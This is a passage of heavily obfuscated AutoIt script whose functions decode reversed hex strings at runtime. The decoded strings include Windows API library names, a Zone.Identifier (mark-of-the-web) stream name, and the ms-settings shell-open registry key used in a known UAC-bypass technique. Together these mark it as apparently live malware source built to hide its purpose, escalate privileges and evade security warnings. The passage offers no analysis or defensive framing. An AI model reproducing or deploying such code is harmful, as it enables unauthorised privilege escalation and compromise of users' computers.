($BV_ZAKGSG_QQPFTQHLWQ [$AOEDXQWTLICIBOI ] ) NEXT RETURN $WT_HKGHWWM ENDFUNC FUNC ECNSJWIMSKNOMSLAUSEN () LOCAL $MLDHBOHIWGYUNJESUKLW [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $SZFQVOARLM FOR $EPRGIAPZQGYSRAK = 0 TO 2 $SZFQVOARLM &= CHRW ($MLDHBOHIWGYUNJESUKLW [$EPRGIAPZQGYSRAK ] ) NEXT RETURN $SZFQVOARLM ENDFUNC FUNC _SAHQDFWKYFMYHGQKNWT () LOCAL $SEPNOYGUCCQBZZTDJUSW [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) ] LOCAL $VCMTSXLTIH FOR $LY_UBSSTKTEEJGJ = 0 TO 61 $VCMTSXLTIH &= CHRW ($SEPNOYGUCCQBZZTDJUSW [$LY_UBSSTKTEEJGJ ] ) NEXT RETURN $VCMTSXLTIH ENDFUNC FUNC XFWBZQYPVFERDOEZZOYS () LOCAL $DIQFGGKNMZNVMIZPGJLH [12 ] = [EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $OPRVTFLDWS FOR $QCIWLNAKJRGJ_AY = 0 TO 11 $OPRVTFLDWS &= CHRW ($DIQFGGKNMZNVMIZPGJLH [$QCIWLNAKJRGJ_AY ] ) NEXT RETURN $OPRVTFLDWS ENDFUNC FUNC UBM_DBMJKSRSLLMKMZAK () LOCAL $UMXENTXFALZHVXSMKQF_ [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $IEHMLFHJZS FOR $KYHRXOMVBDBCDTM = 0 TO 0 $IEHMLFHJZS &= CHRW ($UMXENTXFALZHVXSMKQF_ [$KYHRXOMVBDBCDTM ] ) NEXT RETURN $IEHMLFHJZS ENDFUNC FUNC BNRSKAFIWBXNONWGSNGW () LOCAL $WRJPOQVRGVQWS_WBDERL [28 ] = [EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("A7x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $KDCEUFOCBL FOR $AZLBRBEXHILNEUB = 0 TO 27 $KDCEUFOCBL &= CHRW ($WRJPOQVRGVQWS_WBDERL [$AZLBRBEXHILNEUB ] ) NEXT RETURN $KDCEUFOCBL ENDFUNC FUNC DDRYHTCHIVDEVEGFQHPV () LOCAL $FHTJDIPGLBDK_LEOIEYH [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $VKHVZDWWHR FOR $XSVFFJSFIMQLHOE = 0 TO 11 $VKHVZDWWHR &= CHRW ($FHTJDIPGLBDK_LEOIEYH [$XSVFFJSFIMQLHOE ] ) NEXT RETURN $VKHVZDWWHR ENDFUNC FUNC _QQGJFCBJVMSNYAULBYU () LOCAL $IMDSBYAFEHNILUUPVBMD [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) ] LOCAL $NMXELEYWBH FOR $DVTRFOPMRINIRNM = 0 TO 61 $NMXELEYWBH &= CHRW ($IMDSBYAFEHNILUUPVBMD [$DVTRFOPMRINIRNM ] ) NEXT RETURN $NMXELEYWBH ENDFUNC FUNC KMAYJFKJONWVXEQGORWV () LOCAL $RKKEIIURZRZCADHQWMHG [62 ] = [EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) ] LOCAL $ABWPBLUKXO FOR $HNNFSLNQSLVNPEV = 0 TO 61 $ABWPBLUKXO &= CHRW ($RKKEIIURZRZCADHQWMHG [$HNNFSLNQSLVNPEV ] ) NEXT RETURN $ABWPBLUKXO ENDFUNC FUNC YOUTDV_GIFFMOBZHDVQI () LOCAL $YPEGVNKZEHFQMHFQKTQ_ [4 ] = [EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $JJOYQKABBA FOR $AMHSSGVELUHQSLT = 0 TO 3 $JJOYQKABBA &= CHRW ($YPEGVNKZEHFQMHFQKTQ_ [$AMHSSGVELUHQSLT ] ) NEXT RETURN $JJOYQKABBA ENDFUNC FUNC BGAZBXOZGSCQSZJ_WHML () LOCAL $JKLYIBSFGPVMGWIEJSCL [16 ] = [EXECUTE (STRINGREVERSE ("A3x0" ) ) , EXECUTE (STRINGREVERSE ("A5x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $QVCRAEITRX FOR $IUFJBYNHIBXNXPH = 0 TO 15 $QVCRAEITRX &= CHRW ($JKLYIBSFGPVMGWIEJSCL [$IUFJBYNHIBXNXPH ] ) NEXT RETURN $QVCRAEITRX ENDFUNC FUNC WBPULKRRFXOWJRRORBVU () LOCAL $OIJVOIVQFUHROQI_CDMR [4 ] = [EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $NSUGDPALLP FOR $BVHLKOVSIQMFVIT = 0 TO 3 $NSUGDPALLP &= CHRW ($OIJVOIVQFUHROQI_CDMR [$BVHLKOVSIQMFVIT ] ) NEXT RETURN $NSUGDPALLP ENDFUNC FUNC BXCWWGGTVFWYOSEOSVVN () LOCAL $XMW_OEGKWIWPCIMHGGJO [48 ] = [EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("B4x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("55x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $PBCIR_VYMJ FOR $YFXFIHEUQHKEGRG = 0 TO 47 $PBCIR_VYMJ &= CHRW ($XMW_OEGKWIWPCIMHGGJO [$YFXFIHEUQHKEGRG ] ) NEXT RETURN $PBCIR_VYMJ ENDFUNC FUNC ONEFUPKADSHZCYSDFFVO () LOCAL $QIHTTTJCVVQZBYTVYDNU [1 ] = [EXECUTE (STRINGREVERSE ("D5x0" ) ) ] LOCAL $GFLMAFHFIC FOR $SAQCIJWEIVCQNFZ = 0 TO 0 $GFLMAFHFIC &= CHRW ($QIHTTTJCVVQZBYTVYDNU [$SAQCIJWEIVCQNFZ ] ) NEXT RETURN $GFLMAFHFIC ENDFUNC FUNC SAOXKZMJLVWMPUENS_EX () LOCAL $MMGYYWLDQTZTTIGUEZQI [6 ] = [EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("74x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("A5x0" ) ) ] LOCAL $FVRZOOITSW FOR $EOPOSAIUQLAKJHN = 0 TO 5 $FVRZOOITSW &= CHRW ($MMGYYWLDQTZTTIGUEZQI [$EOPOSAIUQLAKJHN ] ) NEXT RETURN $FVRZOOITSW ENDFUNC FUNC PMLSBBYRHONQWBKOOHZY () LOCAL $IOAYXXIDLKSSJRHELAJG [52 ] = [EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("B4x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("55x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("D2x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $ALOVETUFXW FOR $ERUAUFXYYWSAXYE = 0 TO 51 $ALOVETUFXW &= CHRW ($IOAYXXIDLKSSJRHELAJG [$ERUAUFXYYWSAXYE ] ) NEXT RETURN $ALOVETUFXW ENDFUNC FUNC UFTKDWYYAWID_V_CHMJL () LOCAL $NLAKZKUAMPTAZFLZ_STZ [62 ] = [EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) ] LOCAL $IFILTBYLLC FOR $UVQVMVILHPXWSQL = 0 TO 61 $IFILTBYLLC &= CHRW ($NLAKZKUAMPTAZFLZ_STZ [$UVQVMVILHPXWSQL ] ) NEXT RETURN $IFILTBYLLC ENDFUNC FUNC HBPN_NDIGPVSSJHMUOQX () LOCAL $_IFCEOXKCKITYUCULDMR [3 ] = [EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) ] 